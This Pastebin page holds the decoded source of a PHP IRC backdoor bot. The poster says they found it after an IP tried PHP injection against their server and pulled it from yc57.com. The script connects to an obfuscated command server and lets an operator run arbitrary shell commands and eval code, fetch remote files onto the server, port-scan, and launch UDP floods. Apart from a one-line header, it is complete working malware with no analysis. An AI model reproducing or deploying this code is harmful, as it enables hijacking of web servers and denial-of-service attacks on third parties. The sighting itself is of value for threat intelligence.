Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Saw this PHP script on yc57.com. Originally seen via 61.38.194.42 attempting PHP exploits and injecting http://www.yc57.com/.mods//bt.php. Decoded below.
- ++++++++++++++++++++++++++++++++
- <?php class vmZbb {
- var $nRwfXPH = array("aaZgW" => "PCE+OCEnPDQ+KTA6", "ezwFAS" => "OiY3Ig==", "RfuxW" => "scary", "xYqdXo" => "11", "gun" => "#wWw#", "CRCdh" => "scan", "Ohjdb" => "41aa15390e2efa34ac693c3bd7cb8e88", "roCny" => ".", "RREcnGEu" => "*");
- var $hgesutQ = array();
- var $hGruy = array("key-a" => "DRPkovKAPXFlcrw", "key-b" => "kVeWkRkXMbzUYtR", "key-c" => "xJgpJditmksvxUc");
- function Ounkw($rrcrgUu) {
- unset($this->hgesutQ[$rrcrgUu]);
- }
- function naElg($rrcrgUu) {
- if (isset($this->hgesutQ[$rrcrgUu])) return 1;
- else return 0;
- }
- function AditsD($rrcrgUu) {
- $this->hgesutQ[$rrcrgUu] = true;
- }
- function FFoLKHHqqE() {
- while (!feof($this->ksT)) {
- $this->fJpANTsz = trim(fgets($this->ksT, 512));
- $KhodsW = explode(" ", $this->fJpANTsz);
- if (substr($this->fJpANTsz, 0, 6) == "PING :") {
- $this->KLomkzG("PONG :" . substr($this->fJpANTsz, 6));
- }
- if (isset($KhodsW[1]) && $KhodsW[1] == "004") {
- $this->KLomkzG("JOIN " . $this->nRwfXPH['gun'] . " " . $this->nRwfXPH['CRCdh'] . "");
- $this->cAxzFHYY($this->nRwfXPH['gun'], $this->nRwfXPH['CRCdh']);
- $this->uIHOZc();
- }
- if (isset($KhodsW[1]) && $KhodsW[1] == "433") {
- $this->LOLpHKuw();
- }
- if ($this->fJpANTsz != $ql_U) {
- $hWXiOUN = array();
- $IIvkvCE = substr(strstr($this->fJpANTsz, " :"), 2);
- $bftnHiGf = explode(" ", $IIvkvCE);
- $uLZLOFK = explode("!", $KhodsW[0]);
- $OumZLm = explode("@", $uLZLOFK[1]);
- $OumZLm = $OumZLm[1];
- $uLZLOFK = substr($uLZLOFK[0], 1);
- $nSoJhoi = $KhodsW[0];
- if ($bftnHiGf[0] == $this->uLZLOFK) {
- for ($FjGtC = 0;$FjGtC < count($bftnHiGf);$FjGtC++) $hWXiOUN[$FjGtC] = $bftnHiGf[$FjGtC + 1];
- } else {
- for ($FjGtC = 0;$FjGtC < count($bftnHiGf);$FjGtC++) $hWXiOUN[$FjGtC] = $bftnHiGf[$FjGtC];
- }
- if (count($KhodsW) > 2) {
- switch ($KhodsW[1]) {
- case "QUIT":
- if ($this->naElg($nSoJhoi)) {
- $this->Ounkw($nSoJhoi);
- }
- break;
- case "PART":
- if ($this->naElg($nSoJhoi)) {
- $this->Ounkw($nSoJhoi);
- }
- break;
- case "PRIVMSG":
- if (!$this->naElg($nSoJhoi) && (md5($OumZLm) == $this->nRwfXPH['RREcnGEu'] || $this->nRwfXPH['RREcnGEu'] == "*")) {
- if (substr($hWXiOUN[0], 0, 1) == $this->nRwfXPH['roCny']) {
- switch (substr($hWXiOUN[0], 1)) {
- case "user":
- if (md5($hWXiOUN[1]) == $this->nRwfXPH['Ohjdb']) {
- $this->AditsD($nSoJhoi);
- } else {
- $this->FDCyrDQm($this->nRwfXPH['gun'], "[Auth]: Fout password $uLZLOFK idioot!!");
- }
- break;
- }
- }
- } elseif ($this->naElg($nSoJhoi)) {
- if (substr($hWXiOUN[0], 0, 1) == $this->nRwfXPH['roCny']) {
- switch (substr($hWXiOUN[0], 1)) {
- case "download":
- if (count($hWXiOUN) > 2) {
- if (!$hkAvw = fopen($hWXiOUN[2], "w")) {
- $this->OERaSjh($this->nRwfXPH['gun'], "[download]: Downloaden kan niet!, permission denied.");
- } else {
- if (!$wPH = file($hWXiOUN[1])) {
- $this->OERaSjh($this->nRwfXPH['gun'], "[download]: Er kan niet worden gedownload van " . $hWXiOUN[1] . "");
- } else {
- for ($FjGtC = 0;$FjGtC <= count($wPH);$FjGtC++) {
- fwrite($hkAvw, $wPH[$FjGtC]);
- }
- $this->OERaSjh($this->nRwfXPH['gun'], "[download]: Bestand " . $hWXiOUN[1] . " downloaded naar " . $hWXiOUN[2] . "");
- }
- fclose($hkAvw);
- }
- }
- break;
- case "logout":
- $this->Ounkw($nSoJhoi);
- $this->OERaSjh($this->nRwfXPH['gun'], "[Auth]14 Je bent nu uitgelogt $uLZLOFK");
- break;
- case "exec":
- $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
- $ReJOm = exec($AVO);
- $wPH = explode("
- ", $ReJOm);
- for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
- break;
- case "system":
- $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
- $ReJOm = system($AVO);
- $wPH = explode("
- ", $ReJOm);
- for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
- break;
- case "passthru":
- $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
- $ReJOm = passthru($AVO);
- $wPH = explode("
- ", $ReJOm);
- for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
- break;
- case "die":
- $this->KLomkzG("QUIT :die command from $uLZLOFK");
- fclose($this->ksT);
- exit;
- case "pscan":
- if (count($hWXiOUN) > 2) {
- if (fsockopen($hWXiOUN[1], $hWXiOUN[2], $e, $s, 15)) {
- $this->OERaSjh($this->nRwfXPH['gun'], "[pscan]: " . $hWXiOUN[1] . ":" . $hWXiOUN[2] . " is open");
- } else {
- $this->OERaSjh($this->nRwfXPH['gun'], "[pscan]: " . $hWXiOUN[1] . ":" . $hWXiOUN[2] . " is closed");
- }
- }
- break;
- case "restart":
- $this->KLomkzG("QUIT :gerestart door $uLZLOFK");
- fclose($this->ksT);
- $this->Ipiz();
- break;
- case "info":
- $this->uIHOZc();
- break;
- case "sexec":
- $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
- $ReJOm = shell_exec($AVO);
- $wPH = explode("
- ", $ReJOm);
- for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
- break;
- case "udpflood":
- if (count($hWXiOUN) > 3) {
- $this->yudIwhg($hWXiOUN[1], $hWXiOUN[2], $hWXiOUN[3]);
- }
- break;
- case "rndnick":
- $this->LOLpHKuw();
- break;
- case "dns":
- if (isset($hWXiOUN[1])) {
- $hkAvw = explode(".", $hWXiOUN[1]);
- if (count($hkAvw) == 4 && is_numeric($hkAvw[0]) && is_numeric($hkAvw[1]) && is_numeric($hkAvw[2]) && is_numeric($hkAvw[3])) {
- $this->OERaSjh($this->nRwfXPH['gun'], "[dns]: " . $hWXiOUN[1] . " => " . gethostbyaddr($hWXiOUN[1]));
- } else {
- $this->OERaSjh($this->nRwfXPH['gun'], "[dns]: " . $hWXiOUN[1] . " => " . gethostbyname($hWXiOUN[1]));
- }
- }
- break;
- case "eval":
- $eval = eval(substr(strstr($IIvkvCE, $hWXiOUN[1]), strlen($hWXiOUN[1])));
- break;
- case "raw":
- $this->KLomkzG(strstr($IIvkvCE, $hWXiOUN[1]));
- break;
- }
- }
- }
- break;
- }
- }
- }
- $ql_U = $this->fJpANTsz;
- }
- $this->Ipiz();
- }
- function OERaSjh($FhCGqyb, $ixFDt) {
- $this->KLomkzG("PRIVMSG $FhCGqyb :$ixFDt");
- }
- function yudIwhg($rrcrgUu, $WkrEr, $fYSJQWG) {
- $this->OERaSjh($this->nRwfXPH['gun'], "[UdpFlood Gestart!]");
- $tBaXtCL = "";
- for ($FjGtC = 0;$FjGtC < $WkrEr;$FjGtC++) {
- $tBaXtCL.= chr(mt_rand(1, 256));
- }
- $JyGZ = time();
- $FjGtC = 0;
- while (time() - $JyGZ < $fYSJQWG) {
- $zQuDAm = fsockopen("udp://" . $rrcrgUu, mt_rand(0, 6000), $e, $s, 5);
- fwrite($zQuDAm, $tBaXtCL);
- fclose($zQuDAm);
- $FjGtC++;
- }
- $qIACs = $FjGtC * $WkrEr;
- $qIACs = $qIACs / 1048576;
- $DohnDj = $qIACs / $fYSJQWG;
- $DohnDj = round($DohnDj);
- $qIACs = round($qIACs);
- $this->OERaSjh($this->nRwfXPH['gun'], "[UdpFlood Afgerond!]: $qIACs MB verzonden / gemiddelde: $DohnDj MB/s ");
- }
- function KLomkzG($ixFDt) {
- fwrite($this->ksT, "$ixFDt
- ");
- }
- function uIHOZc() {
- if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
- $QrTn = "4ON";
- } else {
- $QrTn = "9OFF";
- }
- $FXPCG = php_uname();
- if ($FXPCG == "") {
- $WccP = "15---";
- } else {
- $WccP = "15" . $FXPCG . "";
- }
- $TrHpYbd = "15http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "";
- $zVF = getcwd() . "";
- $ghXGskJ = "15" . $zVF . "";
- $CUKbLE = fileperms("$zVF");
- if (($CUKbLE & 0xC000) == 0xC000) {
- $AUvgCq = 's';
- } elseif (($CUKbLE & 0xA000) == 0xA000) {
- $AUvgCq = 'l';
- } elseif (($CUKbLE & 0x8000) == 0x8000) {
- $AUvgCq = '-';
- } elseif (($CUKbLE & 0x6000) == 0x6000) {
- $AUvgCq = 'b';
- } elseif (($CUKbLE & 0x4000) == 0x4000) {
- $AUvgCq = 'd';
- } elseif (($CUKbLE & 0x2000) == 0x2000) {
- $AUvgCq = 'c';
- } elseif (($CUKbLE & 0x1000) == 0x1000) {
- $AUvgCq = 'p';
- } else {
- $AUvgCq = 'u';
- }
- $AUvgCq.= (($CUKbLE & 0x0100) ? 'r' : '-');
- $AUvgCq.= (($CUKbLE & 0x0080) ? 'w' : '-');
- $AUvgCq.= (($CUKbLE & 0x0040) ? (($CUKbLE & 0x0800) ? 's' : 'x') : (($CUKbLE & 0x0800) ? 'S' : '-'));
- $AUvgCq.= (($CUKbLE & 0x0020) ? 'r' : '-');
- $AUvgCq.= (($CUKbLE & 0x0010) ? 'w' : '-');
- $AUvgCq.= (($CUKbLE & 0x0008) ? (($CUKbLE & 0x0400) ? 's' : 'x') : (($CUKbLE & 0x0400) ? 'S' : '-'));
- $AUvgCq.= (($CUKbLE & 0x0004) ? 'r' : '-');
- $AUvgCq.= (($CUKbLE & 0x0002) ? 'w' : '-');
- $AUvgCq.= (($CUKbLE & 0x0001) ? (($CUKbLE & 0x0200) ? 't' : 'x') : (($CUKbLE & 0x0200) ? 'T' : '-'));
- $WDXhvJi = "15" . $AUvgCq . "";
- $this->OERaSjh($this->nRwfXPH['gun'], "14[SAFE: $QrTn14]15 $TrHpYbd 14[pwd:]15 $ghXGskJ 14($WDXhvJi14) [uname:]15 $WccP");
- }
- function LOLpHKuw() {
- $DaVcfOa = 'abcdefghijklm)nopqrstuvwxyz_ABCDEFGHIJKLM(NOPQRSTUVWXYZ-0123456789';
- $dNHtowJ = strlen($DaVcfOa);
- for ($FjGtC = 0;$FjGtC < $this->nRwfXPH['xYqdXo'];$FjGtC++) {
- $yekKeTT.= $DaVcfOa[rand(0, $dNHtowJ - 1) ];
- }
- $this->KLomkzG("NICK [" . $yekKeTT . "]");
- }
- function FDCyrDQm($FhCGqyb, $ixFDt) {
- $this->KLomkzG("NOTICE $FhCGqyb :$ixFDt");
- }
- function Ipiz() {
- if (!($this->ksT = fsockopen(hSPowtYc($this->nRwfXPH['aaZgW'], $this->hGruy['key-a']), hSPowtYc($this->nRwfXPH['ezwFAS'], $this->hGruy['key-b']), $e, $s, 30))) $this->Ipiz();
- $this->zttfgZR();
- if (strlen($this->nRwfXPH['RfuxW']) > 0) $this->KLomkzG("PASS " . $this->nRwfXPH['RfuxW']);
- $this->LOLpHKuw();
- $this->FFoLKHHqqE();
- }
- function cAxzFHYY($gun, $CRCdh = NULL) {
- $this->KLomkzG("JOIN $gun $CRCdh");
- }
- function zttfgZR() {
- $DaVcfOa = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
- $dNHtowJ = strlen($DaVcfOa);
- for ($FjGtC = 0;$FjGtC < 6;$FjGtC++) {
- $yekKeTT.= $DaVcfOa[rand(0, $dNHtowJ - 1) ];
- }
- if (php_uname() == "") {
- $FXPCG = "---";
- } else {
- $FXPCG = php_uname();
- }
- $this->KLomkzG("USER " . $yekKeTT . " 127.0.0.1 localhost :" . $FXPCG . "");
- }
- }
- function hSPowtYc($pbAPE, $hGruy = '') {
- if ($hGruy == '') {
- return $pbAPE;
- }
- $pbAPE = base64_decode($pbAPE);
- $hGruy = str_replace(' ', '', $hGruy);
- if (strlen($hGruy) < 8) {
- exit('key error');
- }
- $BpNUQ = strlen($hGruy);
- if ($BpNUQ > 32) {
- $BpNUQ = 32;
- }
- $hGruy = substr($hGruy, 0, $BpNUQ);
- $ZSCf = strlen($pbAPE);
- $xWt = str_repeat("", $ZSCf);
- $nfLR = str_repeat("", $ZSCf);
- $CjUjHfZs = str_pad("", $ZSCf, $hGruy);
- $pbAPE = (($pbAPE ^ $CjUjHfZs) & $xWt) | ($pbAPE & $nfLR);
- return $pbAPE;
- }
- $RtEZIUc = new vmZbb;
- $RtEZIUc->Ipiz();
Advertisement
Add Comment
Please, Sign In to add comment